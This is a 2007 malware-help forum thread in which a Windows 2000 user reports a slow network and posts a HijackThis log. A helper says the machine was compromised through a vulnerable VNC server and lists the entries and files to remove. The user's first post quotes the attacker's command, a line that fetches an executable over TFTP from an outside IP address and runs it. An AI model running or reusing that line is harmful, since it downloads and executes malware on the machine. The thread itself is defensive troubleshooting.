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2000 Pro Network Hammerd With Activity


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#1 ndzied1

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Posted 18 March 2007 - 01:42 PM

I noticed my nework slowing down recently. I was going to open a command shell (START/RUN/CMD) and noticed the following string in the buffer (I did not type it):

%comspec% /c echo Repairing user32.dll & echo Please wait... & tftp -i 68.213.254.139 GET nxeddq.exe & start nxeddq&

I am connected to the internet through a router that is then connected to a DSL modem.

I ran hijackthis and came up with the following Obviously I'm thinking this nexddq has something to do with it but haven't found a lot about it in internet searches. Thanks in advance for any help

----
Logfile of HijackThis v1.99.1
Scan saved at 1:18:47 PM, on 3/18/2007
Platform: Windows 2000 SP4 (WinNT 5.00.2195)
MSIE: Internet Explorer v6.00 SP1 (6.00.2800.1106)

Running processes:
C:\WINNT\System32\smss.exe
C:\WINNT\system32\winlogon.exe
C:\WINNT\system32\services.exe
C:\WINNT\system32\lsass.exe
C:\WINNT\system32\Ati2evxx.exe
C:\WINNT\system32\svchost.exe
C:\WINNT\system32\spoolsv.exe
C:\Program Files\Yahoo!\Antivirus\ISafe.exe
C:\WINNT\System32\svchost.exe
C:\WINNT\system32\hidserv.exe
C:\WINNT\system32\regsvc.exe
C:\WINNT\system32\MSTask.exe
C:\WINNT\System32\WBEM\WinMgmt.exe
C:\Program Files\RealVNC\VNC4\WinVNC4.exe
C:\WINNT\system32\svchost.exe
C:\Program Files\Yahoo!\Antivirus\VetMsg.exe
C:\WINNT\system32\Ati2evxx.exe
C:\WINNT\Explorer.EXE
C:\Program Files\ATI Technologies\ATI Control Panel\atiptaxx.exe
C:\WINNT\system32\spool\drivers\w32x86\3\hpztsb04.exe
C:\Program Files\Yahoo!\Antivirus\CAVTray.exe
C:\Program Files\Yahoo!\Antivirus\CAVRID.exe
C:\PROGRA~1\Yahoo!\YOP\yop.exe
C:\Program Files\Java\jre1.5.0_06\bin\jusched.exe
C:\Program Files\Microsoft IntelliType Pro\itype.exe
C:\Program Files\Microsoft IntelliPoint\ipoint.exe
C:\Program Files\Common Files\System\svchost.exe
C:\WINNT\system32\nxeddq.exe
C:\Program Files\Google\GoogleToolbarNotifier\1.2.1128.5462\GoogleToolbarNotifier.exe
C:\Program Files\BOINC\boincmgr.exe
C:\Program Files\InterVideo\Common\Bin\WinCinemaMgr.exe
C:\PROGRA~1\Yahoo!\browser\ycommon.exe
C:\Program Files\BOINC\boinc.exe
C:\Program Files\Java\jre1.5.0_06\bin\jucheck.exe
C:\WINNT\System32\svchost.exe
C:\Documents and Settings\Administrator\My Documents\Hijack This\HijackThis.exe

R3 - URLSearchHook: Yahoo! Toolbar - {EF99BD32-C1FB-11D2-892F-0090271D4F88} - C:\Program Files\Yahoo!\Companion\Installs\cpn\yt.dll
O2 - BHO: Yahoo! Toolbar Helper - {02478D38-C3F9-4EFB-9B51-7695ECA05670} - C:\Program Files\Yahoo!\Companion\Installs\cpn\yt.dll
O2 - BHO: Adobe PDF Reader Link Helper - {06849E9F-C8D7-4D59-B87D-784B7D6BE0B3} - C:\Program Files\Adobe\Acrobat 7.0\ActiveX\AcroIEHelper.dll
O2 - BHO: BitComet ClickCapture - {39F7E362-828A-4B5A-BCAF-5B79BFDFEA60} - C:\Program Files\BitComet\tools\BitCometBHO_1.1.2.7.dll
O2 - BHO: (no name) - {53707962-6F74-2D53-2644-206D7942484F} - C:\Program Files\Spybot - Search & Destroy\SDHelper.dll
O2 - BHO: SSVHelper Class - {761497BB-D6F0-462C-B6EB-D4DAF1D92D43} - C:\Program Files\Java\jre1.5.0_06\bin\ssv.dll
O2 - BHO: Google Toolbar Helper - {AA58ED58-01DD-4d91-8333-CF10577473F7} - c:\program files\google\googletoolbar4.dll
O3 - Toolbar: &Radio - {8E718888-423F-11D2-876E-00A0C9082467} - C:\WINNT\system32\msdxm.ocx
O3 - Toolbar: Yahoo! Toolbar - {EF99BD32-C1FB-11D2-892F-0090271D4F88} - C:\Program Files\Yahoo!\Companion\Installs\cpn\yt.dll
O3 - Toolbar: &Google - {2318C2B1-4965-11d4-9B18-009027A5CD4F} - c:\program files\google\googletoolbar4.dll
O4 - HKLM\..\Run: [Synchronization Manager] mobsync.exe /logon
O4 - HKLM\..\Run: [ATIPTA] C:\Program Files\ATI Technologies\ATI Control Panel\atiptaxx.exe
O4 - HKLM\..\Run: [HPDJ Taskbar Utility] C:\WINNT\system32\spool\drivers\w32x86\3\hpztsb04.exe
O4 - HKLM\..\Run: [CaAvTray] "C:\Program Files\Yahoo!\Antivirus\CAVTray.exe"
O4 - HKLM\..\Run: [CAVRID] "C:\Program Files\Yahoo!\Antivirus\CAVRID.exe"
O4 - HKLM\..\Run: [YOP] C:\PROGRA~1\Yahoo!\YOP\yop.exe /autostart
O4 - HKLM\..\Run: [SunJavaUpdateSched] C:\Program Files\Java\jre1.5.0_06\bin\jusched.exe
O4 - HKLM\..\Run: [itype] "C:\Program Files\Microsoft IntelliType Pro\itype.exe"
O4 - HKLM\..\Run: [IntelliPoint] "C:\Program Files\Microsoft IntelliPoint\ipoint.exe"
O4 - HKLM\..\Run: [Windows Update] C:\Program Files\Common Files\System\svchost.exe
O4 - HKLM\..\Run: [MSMSGNER] C:\WINNT\system32\nxeddq.exe
O4 - HKCU\..\Run: [swg] C:\Program Files\Google\GoogleToolbarNotifier\1.2.1128.5462\GoogleToolbarNotifier.exe
O4 - Global Startup: Adobe Reader Speed Launch.lnk = C:\Program Files\Adobe\Acrobat 7.0\Reader\reader_sl.exe
O4 - Global Startup: BOINC Manager.lnk = C:\Program Files\BOINC\boincmgr.exe
O4 - Global Startup: InterVideo WinCinema Manager.lnk = C:\Program Files\InterVideo\Common\Bin\WinCinemaMgr.exe
O8 - Extra context menu item: &D&ownload &with BitComet - res://C:\Program Files\BitComet\BitComet.exe/AddLink.htm
O8 - Extra context menu item: &D&ownload all video with BitComet - res://C:\Program Files\BitComet\BitComet.exe/AddVideo.htm
O8 - Extra context menu item: &D&ownload all with BitComet - res://C:\Program Files\BitComet\BitComet.exe/AddAllLink.htm
O9 - Extra button: (no name) - {08B0E5C0-4FCB-11CF-AAA5-00401C608501} - C:\Program Files\Java\jre1.5.0_06\bin\ssv.dll
O9 - Extra 'Tools' menuitem: Sun Java Console - {08B0E5C0-4FCB-11CF-AAA5-00401C608501} - C:\Program Files\Java\jre1.5.0_06\bin\ssv.dll
O16 - DPF: {4EC8E993-32C1-47F5-A07A-5B0574655AD4} (WXcom Class) - http://us.dl1.yimg.com/download.yahoo.com/...ntr_current.cab
O16 - DPF: {6414512B-B978-451D-A0D8-FCFDF33E833C} (WUWebControl Class) - http://update.microsoft.com/windowsupdate/...b?1161755959859
O23 - Service: Ati HotKey Poller - Unknown owner - C:\WINNT\system32\Ati2evxx.exe
O23 - Service: CAISafe - Computer Associates International, Inc. - C:\Program Files\Yahoo!\Antivirus\ISafe.exe
O23 - Service: Logical Disk Manager Administrative Service (dmadmin) - VERITAS Software Corp. - C:\WINNT\System32\dmadmin.exe
O23 - Service: Google Updater Service (gusvc) - Google - C:\Program Files\Google\Common\Google Updater\GoogleUpdaterService.exe
O23 - Service: InstallDriver Table Manager (IDriverT) - Macrovision Corporation - C:\Program Files\Common Files\InstallShield\Driver\11\Intel 32\IDriverT.exe
O23 - Service: VET Message Service (VETMSGNT) - Computer Associates International, Inc. - C:\Program Files\Yahoo!\Antivirus\VetMsg.exe
O23 - Service: VNC Server Version 4 (WinVNC4) - Unknown owner - C:\Program Files\RealVNC\VNC4\WinVNC4.exe" -service (file missing)

Edited by ndzied1, 18 March 2007 - 01:44 PM.


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#2 miekiemoes

miekiemoes

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Posted 26 March 2007 - 08:13 AM

Hi,

You are running a vulnerable VNC Version and you have been hacked. read here: http://www.kb.cert.org/vuls/id/117929
Please uninstall your VNC for now until the issue is resolved.
Then check and fix next entries in HijackThis:

O4 - HKLM\..\Run: [Windows Update] C:\Program Files\Common Files\System\svchost.exe
O4 - HKLM\..\Run: [MSMSGNER] C:\WINNT\system32\nxeddq.exe

Delete next files:

C:\Program Files\Common Files\System\svchost.exe
C:\WINNT\system32\nxeddq.exe

Install a decent Antivirus instead of Yahoo Antivirus, for example Avira: http://www.free-av.com/ which is free.

Let it perform a full scan and let it delete anything it is finding.
Then change all your passwords including your VNC password/login (important!)
Then reinstall VNC, but make sure you install the latest version.

Let me know if that solved your problem.
AntispywareScanners---Antivirus Scanners---Firewalls---Online Scanners---Prevention---Help! My computer is slow---My Blog---Follow me on Twitter.
My help is ALWAYS FREE, but if you want to donate to help me continue my fight against malware -- click here!
Asking for help via Private Message or Mail will be ignored - So If you need help, post your problem in the forum.

#3 miekiemoes

miekiemoes

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Posted 04 April 2007 - 05:49 AM

Due to the lack of feedback, this Topic is closed.
If you need this topic reopened for continuations of existing problems, please request this by sending me a PM with the address of the thread. This applies only to the original topic starter.

Everyone else please begin a New Topic.
AntispywareScanners---Antivirus Scanners---Firewalls---Online Scanners---Prevention---Help! My computer is slow---My Blog---Follow me on Twitter.
My help is ALWAYS FREE, but if you want to donate to help me continue my fight against malware -- click here!
Asking for help via Private Message or Mail will be ignored - So If you need help, post your problem in the forum.




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